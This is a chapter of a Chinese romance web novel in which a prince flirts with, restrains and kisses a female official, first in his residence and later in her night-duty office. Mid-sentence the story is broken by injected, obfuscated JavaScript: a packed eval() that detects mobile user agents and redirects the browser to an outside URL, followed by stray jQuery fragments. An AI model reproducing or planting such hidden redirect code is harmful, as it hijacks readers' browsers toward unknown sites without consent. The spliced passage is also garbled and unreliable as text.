76. 第七十六章

作品:《盼他回头是岸

    沈时青反驳:“下官在这里妨了王爷,所以还是告辞了。”


    “为什么不回答本王的问题?”


    “下官回答了很多次没有,但是王爷似乎都不相信。”


    萧璟翊扶着沈时青的脸,专注地盯了许久,这才道:“本王有些后悔了。”


    沈时青没说话,她就知道萧璟翊方才在她面前装得坐怀不乱的样子,还不等她离开,就忍不住了。


    “下官这就去把人找回来,好像还在门口候着呢。”


    “你知道本王后悔什么?”


    沈时青错开视线,面无表情地答:“显而易见。”


    萧璟翊笑道:“仔细想想,先前那头一个确实不错。”


    “让本王有种熟悉的感觉。”


    沈时青不用猜也知道,多半是故人之姿,让他想起了不少往事。


    想必萧彻是花了大功夫研究萧璟翊的喜好,这么用心,自然是送什么都能送到他心坎上。


    “你不问问为何熟悉?”


    “不敢僭越。”


    萧璟翊也不恼,继续自顾自地说着:“本王觉得倒是跟你有几分相似。”


    听到这话,沈时青也忍不住仰头去看萧璟翊,正撞进他深似寒潭的眼眸中,原本藏着算计天下的城府,如今也只剩下她的慌乱与不甘。


    哪怕知道萧璟翊的用意,她还是跳进了他的圈套,非要反驳:“哪里像了,下官倒是不觉得。”


    萧璟翊微微俯身,气息落在沈时青的耳畔,故意放缓动作,直至见到沈时青脸颊发烫,呼吸加重,欲偏头躲开他,这才扣住了她的手腕,轻轻一拽,将人拉进了自己的怀里。


    “是吗?”


    “本王觉得很是相像。”


    沈时青有些恼:“那,下官也无话可说。”


    “王爷觉得像便像。”


    “那人定是比下官更好,更能让王爷舒心,下官也算功成身退。”


    萧璟翊低笑:“别的本王不清楚,不过他伺候人的本事肯定是比你强千百般。”


    “既然王爷都这么说了,何故又将人赶走。”


    “也不怕伤人心。”


    “伤谁的心?”


    “自然是方才那几位,相比都是精心打扮过怀着满满的期待来此,王爷却那么无情地将人赶走。”


    “说的也是。”


    “本王怎么也该试试的,否则真是辜负皇上的一片良苦用心。”


    “王爷说得是。”


    “那就请王爷松手。”


    可萧璟翊的手非但没有松开,反而越收越紧,沈时青用力地挣了一下,还是没能摆脱萧璟翊的钳制。


    “王爷,您这是什么意思?”


    萧璟翊低头,鼻尖抵着沈时青的额头,沈时青下意识地闭上了眼,可她以为的事情迟迟没有发生。


    一睁眼,便撞进了萧璟翊满是戏谑的眼里。


    她顿时感觉全身都烧了起来。


    萧璟翊只是轻轻地蹭过沈时青的脸颊,呼吸交缠,明明近在咫尺,却又偏偏不落下,耐心十足地欣赏沈时青的慌乱。


    “胆子越来越大了,都敢用这种语气根本王说话了。”


    “王爷如此戏弄下官,泥人尚有三分土性,更何况下官是人。”


    “本王何时戏耍你了?”


    “多说两句其他人,你也不高兴。”


    “下官不敢不高兴。”


    “确实与你有几分相似,讨人欢心的本事也比你强。”萧璟翊一边说着,一边及时按住怀里挣扎的沈时青,“不过,你比他更好。”


    “本王就是喜欢你这一本正经的模样。”


    “不过若往后能多学几分,在床上放得开些,本王就更喜欢了。”


    沈时青脸涨得通红,实在是不能跟萧璟翊比脸皮。


    这种事情他可以说得面不改色随口拈来,她一辈子也赶不上。


    “羞什么,这种事是你情我愿天经地义的。”


    谁跟他你情我愿了。


    “本王说了这么多,你就没点表示?”


    “不说掏心掏肺,也是真心实意,除了你,谁能有这种待遇。”


    沈时青此时该顺着萧璟翊说几句好话,这件事似乎就能这么过去了,但是,她不愿。


    “气性还挺大。”


    萧璟翊扣住沈时青的后颈,指腹在她的嘴唇上轻轻摩挲,动作温柔,像是安抚一般,声音低哑像是浸了酒:“本王怎么哄你才好?”


    “王爷……”


    门外的这一声让原本意乱情迷的沈时青彻底清醒过来,她猛地推开了萧璟翊,不停地整理着自己的衣服,活脱脱一副被捉奸在床的心虚样。


    沈时青瞟了萧璟翊一样,不等他开口,直接走到了门口,打开了门。


    门外的下人看到沈时青,有些意外,又见她一脸慌张急切,发髻凌乱,明明还没立春,连脖子都红了,怎么看也不像是多清白的样子。


    “大人,王爷可在?”


    “你进去吧,王爷在里面。”


    沈时青说完这句便急急忙忙地跑走了。


    这天以后,沈时青刻意躲了萧璟翊几日。


    虽然平日他们也很少有碰面的机会,多数都是萧璟翊派人接她去他的府邸,如今她有意避开,两人见面的机会更是微乎其微。


    这一日,沈时青当值,需夜宿朝房,正好有些文书处理,她坐在案前,看得认真,不知不觉间,等她再一抬头时,外面天都黑透了,外面除了偶有禁卫巡逻,几乎没什么动静。


    烛火映在桌案书页上,半明半暗,夜里风凉,穿过未关紧的窗户进来,纸页被翻动着簌簌作响。


    沈时青起身去关窗,刚走到窗前,门外突然传来了一阵脚步声。


    声音很轻,步子不急不缓,不像是内侍,更不是巡逻禁军。


    沈时青关上窗户后也不动,仔细听着门外的动静。


    脚步声到了门口便消失了,只有一个若隐若现的人影立在门上。


    这时,一阵狂风吹过,原本被她关上的窗户像是被一股猛力拉开,烛火瞬间熄灭,屋里顿时陷入了黑暗,只留下呼呼的风声,听着心惊。


    门被人从外推开,沈时青捂着胸口差点尖叫出声。


    “谁?”


    那人逆着光,看不清模样,只是十分高大,也不说话,就径直朝着她走来,无论沈时青说什么威胁恐吓的话,都充耳不闻。


    沈时青连连后退,屋里黑漆漆一片,她甚至找不到一件自卫的武器:“你到底是谁!”


    “你知道这里是什么地方吗?”


    “你别乱来。”


    沈时青退无可退,后腰抵在了桌案上,那人却越来越近,直至两人几乎贴在了一起。


    “胆子这么小。”


    听见萧璟翊声音的那一刻,沈时青彻底放松下来。


    萧璟翊勾着沈时青的腰,将人带了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157231|184680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来,很不留情地嘲笑:“是不是亏心事做多了,本王什么都没说就吓成这样。”


    沈时青心有余悸,仗着屋里漆黑萧璟翊看不清她的脸,偷偷地瞪了他一眼:“王爷不说话,下官自然害怕。”


    “还以为是什么冤鬼索命。”


    沈时青手上一痛,踉跄着跌进萧璟翊的怀里,手腕间传来的热度让她心神大乱。


    萧璟翊低头,薄唇擦过沈时青的耳廓:“变着法地骂本王?”


    “方才以为是鬼,吓成那样,如今知道是本王,不害怕了。”


    萧璟翊低头寻着沈时青的唇,偏偏又像是故意勾人似的,迟迟不肯落下:“让本王常常这副伶牙俐齿是什么味道。”


    沈时青偏过头去,气息不稳,不敢睁眼瞧萧璟翊。


    “抬头。”


    沈时青被迫望向萧璟翊,对上他那双总是能洞察一切的眼睛,喉咙发紧,手指紧紧扣进身后的桌案。


    “心跳得够快的。”


    “紧张了?”


    沈时青不敢出声,怕是一开口便将自己的慌张泄露出去。


    萧璟翊勾起沈时青的下巴,强迫沈时青与他对视,沈时青眼里的不安与忐忑他都尽收眼底,无声地笑了,低头便吻了上去。


    像是故意要折磨人,辗转轻碾,耐心十足,温柔地逗弄,却又带着不容拒绝的强势。


    沈时青的双手不知何时抵在了萧璟翊的胸膛,意乱情迷时,这样的动作添了几分暧昧。


    直至沈时青呼吸不稳,萧璟翊才稍稍退了些,唇贴着唇,说话时带起一阵酥麻。


    “慌什么。”


    门突然被叩响,沈时青猛地一滞,慌忙要把萧璟翊推开。


    萧璟翊不为所动,抓住沈时青的手腕,低头在她的手背上亲了一口:“每回都是这样。”


    萧璟翊没有半点被人撞破的紧张,沈时青却做不到。


    若是被人撞见她与萧璟翊的这一幕,怕是身败名裂万劫不复。


    她使劲推了推萧璟翊:“外面有人。”


    “那又如何。”


    “沈大人?”


    “您还在吗?”


    敲门声越来越急,沈时青被困在萧璟翊怀里,低低地应了一声。


    “在。”


    “方才起风了,奴才见您屋里灯灭了,所以特意来看看。”


    “多谢公公费心,我没……”


    沈时青一句话没说完,便被萧璟翊咬住了唇。


    她急得眼眶都红了,毕竟隔着一扇门外还有人随时都可能闯进来。


    “松,松开……”


    “让人看见了……”


    萧璟翊擦过沈时青泛红的唇:“看见了又怎么样。”


    “沈大人!”


    “你没事吧?”


    “奴才进来了?”


    “不要!”


    “我……我没事……”


    “您确定吗?”


    “奴才听着您的声音不太对劲,是不是不舒服?”


    “没没有,我很好。”


    “公公尽早去休息吧。”


    沈时青的声音断断续续,有些古怪,但内侍也不好再继续追问,道:“那您慢慢忙,奴才就告退了。”


    “嗯……唔……”


    沈时青紧绷着的神经在门外身影消失的那一刻终于得以解脱,偏偏萧璟翊故意折磨她,在她锁骨处轻咬,忍了许久的轻吟终于倾泄于口。